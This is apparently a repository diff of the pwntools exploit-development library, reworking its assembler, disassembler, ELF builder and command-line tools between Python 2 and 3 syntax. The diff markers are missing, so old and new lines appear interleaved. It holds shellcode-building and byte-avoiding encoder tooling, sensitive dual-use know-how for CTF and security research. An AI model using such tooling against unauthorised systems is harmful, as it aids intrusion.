>>> filename = make_elf(bin_sh, extract=False)
>>> p = process(filename)
>>> p.sendline(b'echo Hello; exit')
>>> p.sendline('echo Hello; exit')
>>> p.recvline()
b'Hello\n'
'Hello\n'
"""
retval = None
@@ -559,7 +562,7 @@ def make_elf(data,
assembler = _assembler()
linker = _linker()
code = _arch_header()
code += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))
code += '.string "%s"' % ''.join('\\x%02x' % ord(c) for c in data)
code += '\n'
log.debug("Building ELF:\n" + code)
@@ -570,13 +573,13 @@ def make_elf(data,
step3 = path.join(tmpdir, 'step3-elf')
try:
with open(step1, 'w') as f:
with open(step1, 'wb+') as f:
f.write(code)
_run(assembler + ['-o', step2, step1])
linker_options = ['-z', 'execstack']
if vma is not None:
if vma:
linker_options += ['--section-start=.shellcode=%#x' % vma,
'--entry=%#x' % vma]
elif shared:
@@ -591,11 +594,11 @@ def make_elf(data,
_run([which_binutils('strip'), '--strip-unneeded', step3])
if not extract:
os.chmod(step3, 0o755)
os.chmod(step3, 0755)
retval = step3
else:
with open(step3, 'rb') as f:
with open(step3, 'r') as f:
retval = f.read()
except Exception:
log.exception("An error occurred while building an ELF:\n%s" % code)
@@ -611,7 +614,7 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
Runs :func:`cpp` over a given shellcode and then assembles it into bytes.
To see which architectures or operating systems are supported,
look in :mod:`pwnlib.context`.
look in :mod:`pwnlib.contex`.
Assembling shellcode requires that the GNU assembler is installed
for the target architecture.
@@ -630,13 +633,13 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
Examples:
>>> asm("mov eax, SYS_select", arch = 'i386', os = 'freebsd')
b'\xb8]\x00\x00\x00'
'\xb8]\x00\x00\x00'
>>> asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')
b'\xb8\x17\x00\x00\x00'
'\xb8\x17\x00\x00\x00'
>>> asm("mov rax, SYS_select", arch = 'amd64', os = 'linux')
b'H\xc7\xc0\x17\x00\x00\x00'
'H\xc7\xc0\x17\x00\x00\x00'
>>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
b'R\x00\xa0\xe3'
'R\x00\xa0\xe3'
"""
result = ''
@@ -684,11 +687,10 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
_run(linker + ldflags)
elif open(step2,'rb').read(4) == b'\x7fELF':
elif file(step2,'rb').read(4) == '\x7fELF':
# Sanity check for seeing if the output has relocations
relocs = subprocess.check_output(
[which_binutils('readelf'), '-r', step2],
universal_newlines = True
[which_binutils('readelf'), '-r', step2]
).strip()
if extract and len(relocs.split('\n')) > 1:
log.error('Shellcode contains relocations:\n%s' % relocs)
@@ -700,7 +702,7 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
_run(objcopy + [step3, step4])
with open(step4, 'rb') as fd:
with open(step4) as fd:
result = fd.read()
except Exception:
@@ -720,6 +722,9 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
To see which architectures are supported,
look in :mod:`pwnlib.contex`.
To support all these architecture, we bundle the GNU objcopy
and objdump with pwntools.
Arguments:
data(str): Bytestring to disassemble.
vma(int): Passed through to the --adjust-vma argument of objdump
@@ -731,28 +736,26 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
Examples:
>>> print(disasm(unhex('b85d000000'), arch = 'i386'))
0: b8 5d 00 00 00 mov eax, 0x5d
>>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0))
0: mov eax, 0x5d
>>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0, offset = 0))
mov eax, 0x5d
>>> print(disasm(unhex('b817000000'), arch = 'amd64'))
0: b8 17 00 00 00 mov eax, 0x17
>>> print(disasm(unhex('48c7c017000000'), arch = 'amd64'))
0: 48 c7 c0 17 00 00 00 mov rax, 0x17
>>> print(disasm(unhex('04001fe552009000'), arch = 'arm'))
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386')
0: b8 5d 00 00 00 mov eax,0x5d
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0)
0: mov eax,0x5d
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0, offset = 0)
mov eax,0x5d
>>> print disasm('b817000000'.decode('hex'), arch = 'amd64')
0: b8 17 00 00 00 mov eax,0x17
>>> print disasm('48c7c017000000'.decode('hex'), arch = 'amd64')
0: 48 c7 c0 17 00 00 00 mov rax,0x17
>>> print disasm('04001fe552009000'.decode('hex'), arch = 'arm')
0: e51f0004 ldr r0, [pc, #-4] ; 0x4
4: 00900052 addseq r0, r0, r2, asr r0
>>> print(disasm(unhex('4ff00500'), arch = 'thumb', bits=32))
>>> print disasm('4ff00500'.decode('hex'), arch = 'thumb', bits=32)
0: f04f 0005 mov.w r0, #5
>>> print(disasm(unhex('656664676665400F18A4000000000051'), byte=0, arch='amd64'))
0: gs data16 fs data16 rex nop/reserved BYTE PTR gs:[eax+eax*1+0x0]
f: push rcx
"""
result = ''
arch = context.arch
os = context.os
tmpdir = tempfile.mkdtemp(prefix = 'pwn-disasm-')
step1 = path.join(tmpdir, 'step1')
@@ -769,9 +772,6 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
'--rename-section', '.data=.text',
]
if not byte:
objdump += ['--no-show-raw-insn']
if arch == 'thumb':
objcopy += ['--prefix-symbol=$t.']
else:
@@ -779,10 +779,10 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
try:
with open(step1, 'wb') as fd:
with open(step1, 'w') as fd:
fd.write(data)
_run(objcopy + [step1, step2])
res = _run(objcopy + [step1, step2])
output0 = _run(objdump + [step2])
output1 = output0.split('<.text>:\n')
@@ -798,22 +798,14 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
lines = []
pattern = '^( *[0-9a-f]+: *)', '((?:[0-9a-f]+ )+ *)', '(.*)'
if not byte:
pattern = pattern[::2]
pattern = ''.join(pattern)
pattern = '^( *[0-9a-f]+: *)((?:[0-9a-f]+ )+ *)(.*)'
for line in result.splitlines():
match = re.search(pattern, line)
if not match:
try:
o, b, i = re.search(pattern, line).groups()
except:
lines.append(line)
continue
groups = match.groups()
if byte:
o, b, i = groups
else:
o, i = groups
line = ''
if offset:
@@ -824,4 +816,4 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
line += i
lines.append(line)
return re.sub(',([^ ])', r', \1', '\n'.join(lines))
return '\n'.join(lines)
-1
View File
@@ -3,7 +3,6 @@ Analogous to atexit, this module allows the programmer to register functions to
be run if an unhandled exception occurs.
"""
from __future__ import absolute_import
from __future__ import division
import sys
import threading
-1
View File
@@ -8,7 +8,6 @@ This module also fixes a the issue that exceptions raised by an exit handler is
printed twice when the standard :mod:`atexit` is used.
"""
from __future__ import absolute_import
from __future__ import division
import sys
import threading
+12 -20
View File
@@ -1,13 +1,9 @@
#!/usr/bin/env python2
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
import pwnlib
pwnlib.args.free_form = False
from pwn import *
from pwnlib.commandline import common
@@ -33,8 +29,8 @@ parser.add_argument(
"-o","--output",
metavar='file',
help="Output file (defaults to stdout)",
type=argparse.FileType('wb'),
default=getattr(sys.stdout, 'buffer', sys.stdout)
type=argparse.FileType('w'),
default=sys.stdout
)
parser.add_argument(
@@ -49,14 +45,14 @@ parser.add_argument(
parser.add_argument(
'-v', '--avoid',
action='append',
help = 'Encode the shellcode to avoid the listed bytes (provided as hex)'
help = 'Encode the shellcode to avoid the listed bytes (provided as hex; default: 000a)'
)
parser.add_argument(
'-n', '--newline',
dest='avoid',
action='append_const',
const='0a',
const='\n',
help = 'Encode the shellcode to avoid newlines'
)
@@ -64,7 +60,7 @@ parser.add_argument(
'-z', '--zero',
dest='avoid',
action='append_const',
const='00',
const='\x00',
help = 'Encode the shellcode to avoid NULL bytes'
)
@@ -87,7 +83,7 @@ parser.add_argument(
'--infile',
help="Specify input file",
default=sys.stdin,
type=argparse.FileType('r')
type=file
)
parser.add_argument(
@@ -107,11 +103,10 @@ def main(args):
data = '\n'.join(args.lines) or args.infile.read()
output = asm(data.replace(';', '\n'))
fmt = args.format or ('hex' if tty else 'raw')
formatters = {'r':bytes, 'h':enhex, 's':repr}
formatters = {'r':str, 'h':enhex, 's':repr}
if args.avoid:
avoid = unhex(''.join(args.avoid))
output = encode(output, avoid)
output = encode(output, args.avoid)
if args.debug:
proc = gdb.debug_shellcode(output, arch=context.arch)
@@ -125,16 +120,13 @@ def main(args):
if fmt[0] == 'e':
args.output.write(make_elf(output))
try: os.fchmod(args.output.fileno(), 0o700)
try: os.fchmod(args.output.fileno(), 0700)
except OSError: pass
else:
output = formatters[fmt[0]](output)
if not hasattr(output, 'decode'):
output = output.encode('ascii')
args.output.write(output)
args.output.write(formatters[fmt[0]](output))
if tty and fmt != 'raw':
args.output.write(b'\n')
if tty and fmt is not 'raw':
args.output.write('\n')
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
+2 -3
View File
@@ -1,6 +1,5 @@
#!/usr/bin/env python2
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
@@ -15,7 +14,7 @@ parser = common.parser_commands.add_parser(
parser.add_argument(
'elf',
nargs='*',
type=argparse.FileType('rb'),
type=file,
help='Files to check'
)
parser.add_argument(
@@ -23,7 +22,7 @@ parser.add_argument(
nargs='*',
dest='elf2',
metavar='elf',
type=argparse.FileType('rb'),
type=file,
help='File to check (for compatibility with checksec.sh)'
)
+1 -1
View File
@@ -5,7 +5,7 @@ import sys
import pwnlib
from pwnlib.context import context
choices = list(map(str, [16,32,64]))
choices = map(str, [16,32,64])
choices += list(context.oses)
choices += list(context.architectures)
choices += list(context.endiannesses)
+5 -7
View File
@@ -1,9 +1,7 @@
#!/usr/bin/env python2
from __future__ import absolute_import
from __future__ import division
import argparse
import functools
import os
import re
@@ -65,7 +63,7 @@ p.add_argument(
def main(args):
if args.exact:
# This is the simple case
print(cpp(args.exact).strip())
print cpp(args.exact).strip()
else:
# New we search in the right module.
# But first: We find the right module
@@ -119,7 +117,7 @@ def main(args):
# Output all matching constants
for _, k in sorted(out):
print('#define %s %s' % (k.ljust(maxlen), cpp(k).strip()))
print '#define %s %s' % (k.ljust(maxlen), cpp(k).strip())
# If we are in match_mode, then try to find a combination of
# constants that yield the exact given value
@@ -136,9 +134,9 @@ def main(args):
out = [(v, k) for v, k in out if mask & v == v]
if functools.reduce(lambda x, cur: x | cur[0], good, 0) == constant:
print('')
print('(%s) == %s' % (' | '.join(k for v, k in good), args.constant))
if reduce(lambda x, cur: x | cur[0], good, 0) == constant:
print
print '(%s) == %s' % (' | '.join(k for v, k in good), args.constant)
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
+11 -17
View File
@@ -1,9 +1,7 @@
#!/usr/bin/env python2
from __future__ import absolute_import
from __future__ import division
import argparse
import six
import string
import sys
@@ -21,8 +19,7 @@ parser = common.parser_commands.add_parser(
parser.add_argument(
'-a', '--alphabet',
metavar = 'alphabet',
default = string.ascii_lowercase.encode(),
type = six.ensure_binary,
default = string.ascii_lowercase,
help = 'The alphabet to use in the cyclic pattern (defaults to all lower case letters)',
)
@@ -43,7 +40,7 @@ parser.add_argument(
help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
)
group = parser.add_mutually_exclusive_group(required=False)
group = parser.add_mutually_exclusive_group(required = True)
group.add_argument(
'-l', '-o', '--offset', '--lookup',
dest = 'lookup',
@@ -53,10 +50,9 @@ group.add_argument(
group.add_argument(
'count',
type=int,
nargs='?',
default=None,
help='Number of characters to print'
type = int,
nargs = '?',
help = 'Number of characters to print'
)
def main(args):
@@ -67,10 +63,9 @@ def main(args):
pat = args.lookup
try:
pat = int(pat, 0)
pat = packing.pack(int(pat, 0), subsize*8)
except ValueError:
pass
pat = flat(pat)
if len(pat) != subsize:
log.critical('Subpattern must be %d bytes' % subsize)
@@ -86,19 +81,18 @@ def main(args):
log.critical('Given pattern does not exist in cyclic pattern')
sys.exit(1)
else:
print(offset)
print offset
else:
want = args.count
result = cyclic(want, alphabet, subsize)
got = len(result)
if want is not None and got < want:
if got < want:
log.failure("Alphabet too small (max length = %i)" % got)
out = getattr(sys.stdout, 'buffer', sys.stdout)
out.write(result)
sys.stdout.write(result)
if out.isatty():
out.write(b'\n')
if sys.stdout.isatty():
sys.stdout.write('\n')
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
+1 -7
View File
@@ -1,6 +1,5 @@
#!/usr/bin/env python2
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
@@ -14,7 +13,7 @@ parser = common.parser_commands.add_parser(
)
parser.add_argument(
'-x', metavar='GDBSCRIPT',
type=argparse.FileType('r'),
type=file,
help='Execute GDB commands from this file.'
)
parser.add_argument(
@@ -79,12 +78,7 @@ def main(args):
# pidof() returns a list
if not target:
log.error("Could not find a PID for %r", args.process)
target = target[0]
# pidof will sometimes return all PIDs, including init
if target == 1:
log.error("Got PID 1 from pidof. Check the process name, or use --pid 1 to debug init")
else:
parser.print_usage()
return 1
+1 -3
View File
@@ -1,8 +1,6 @@
#!/usr/bin/env python2
from __future__ import absolute_import
from __future__ import division
import argparse
from pwn import *
from pwnlib.commandline import common
@@ -13,7 +11,7 @@ parser = common.parser_commands.add_parser(
parser.add_argument(
'elf',
nargs='+',
type=argparse.FileType('rb'),
type=file,
help='Files to check'
)
+11 -12
View File
@@ -1,7 +1,5 @@
#!/usr/bin/env python2
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import argparse
import string
@@ -22,7 +20,7 @@ parser.add_argument(
'hex',
metavar = 'hex',
nargs = '*',
help = 'Hex-string to disassemble. If none are supplied, then it uses stdin in non-hex mode.'
help = 'Hex-string to disasemble. If none are supplied, then it uses stdin in non-hex mode.'
)
parser.add_argument(
@@ -61,14 +59,14 @@ parser.add_argument(
def main(args):
if len(args.hex) > 0:
dat = ''.join(args.hex).encode('utf-8', 'surrogateescape')
dat = dat.translate(None, string.whitespace.encode('ascii'))
if not set(string.hexdigits.encode('ascii')) >= set(dat):
print("This is not a hex string")
dat = ''.join(args.hex)
dat = dat.translate(None, string.whitespace)
if not set(string.hexdigits) >= set(dat):
print "This is not a hex string"
exit(-1)
dat = unhex(dat)
dat = dat.decode('hex')
else:
dat = getattr(sys.stdin, 'buffer', sys.stdin).read()
dat = sys.stdin.read()
if args.color:
@@ -81,16 +79,17 @@ def main(args):
instrs = disasm(dat, vma=safeeval.const(args.address), byte=False, offset=False)
# instrs = highlight(instrs, PwntoolsLexer(), TerminalFormatter())
for o,b,i in zip(*map(str.splitlines, (offsets, bytes, instrs))):
split = lambda x: x.splitlines()
for o,b,i in zip(*list(map(split, (offsets, bytes, instrs)))):
b = b.replace('00', text.red('00'))
b = b.replace('0a', text.red('0a'))
i = highlight(i.strip(), PwntoolsLexer(), TerminalFormatter()).strip()
i = i.replace(',',', ')
print(o,b,i)
print o,b,i
return
print(disasm(dat, vma=safeeval.const(args.address)))
print disasm(dat, vma=safeeval.const(args.address))
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
+2 -3
View File
@@ -1,6 +1,5 @@
#!/usr/bin/env python2
from __future__ import absolute_import
from __future__ import division
import shutil
from argparse import ArgumentParser
@@ -23,7 +22,7 @@ def dump(objdump, path):
return n.name
def diff(a,b):
try: return check_output(['diff',a,b], universal_newlines=True)
try: return check_output(['diff',a,b])
except CalledProcessError as e:
return e.output
@@ -56,7 +55,7 @@ def main(a):
shutil.copy(y.path, name)
y = dump(objdump, name)
print(diff(x, y))
print diff(x, y)
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
+3 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python2
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
import pwnlib
@@ -15,6 +15,7 @@ p = common.parser_commands.add_parser(
help = 'Patch an ELF file'
)
p = argparse.ArgumentParser()
p.add_argument('elf',help="File to patch")
p.add_argument('offset',help="Offset to patch in virtual address (hex encoded)")
p.add_argument('bytes',help='Bytes to patch (hex encoded)')
@@ -31,7 +32,7 @@ def main(a):
elf = ELF(a.elf)
elf.write(offset, bytes)
getattr(sys.stdout, 'buffer', sys.stdout).write(elf.get_data())
sys.stdout.write(elf.get_data())
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
+10 -11
View File
@@ -1,8 +1,7 @@
from __future__ import absolute_import, print_function
from __future__ import absolute_import
import argparse
import os
import errno
from pwnlib.commandline import common
@@ -25,24 +24,24 @@ def main(args):
if 0x100000000 - value < 0x200:
value = 0x100000000 - value
if value not in errno.errorcode:
print("No errno for %s" % value)
if value not in os.errno.errorcode:
print "No errno for %s" % value
return
name = errno.errorcode[value]
name = os.errno.errorcode[value]
except ValueError:
name = args.error.upper()
if not hasattr(errno, name):
print("No errno for %s" % name)
if not hasattr(os.errno, name):
print "No errno for %s" % name
return
value = getattr(errno, name)
value = getattr(os.errno, name)
print('#define', name, value)
print(os.strerror(value))
print '#define', name, value
print os.strerror(value)
if __name__ == '__main__':
common.main(__file__)
pwnlib.commandline.common.main(__file__)
+3 -8
View File
@@ -1,12 +1,10 @@
#!/usr/bin/env python2
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
from pwnlib.commandline import common
from pwnlib.util.fiddling import enhex
parser = common.parser_commands.add_parser(
'hex',
@@ -18,12 +16,9 @@ parser.add_argument('data', nargs='*',
def main(args):
if not args.data:
print(enhex(getattr(sys.stdin, 'buffer', sys.stdin).read()))
print sys.stdin.read().encode('hex')
else:
data = ' '.join(args.data)
if not hasattr(data, 'decode'):
data = data.encode('utf-8', 'surrogateescape')
print(enhex(data))
print ' '.join(args.data).encode('hex')
if __name__ == '__main__':
common.main(__file__)
pwnlib.commandline.common.main(__file__)
-3
View File
@@ -46,9 +46,6 @@ commands = {
}
def main():
if len(sys.argv) < 2:
parser.print_usage()
sys.exit()
args = parser.parse_args()
with context.local(log_console = sys.stderr):
commands[args.command](args)
Loaded 100 of 725 files, more files were not shown because too many files have changed in this diff. Show more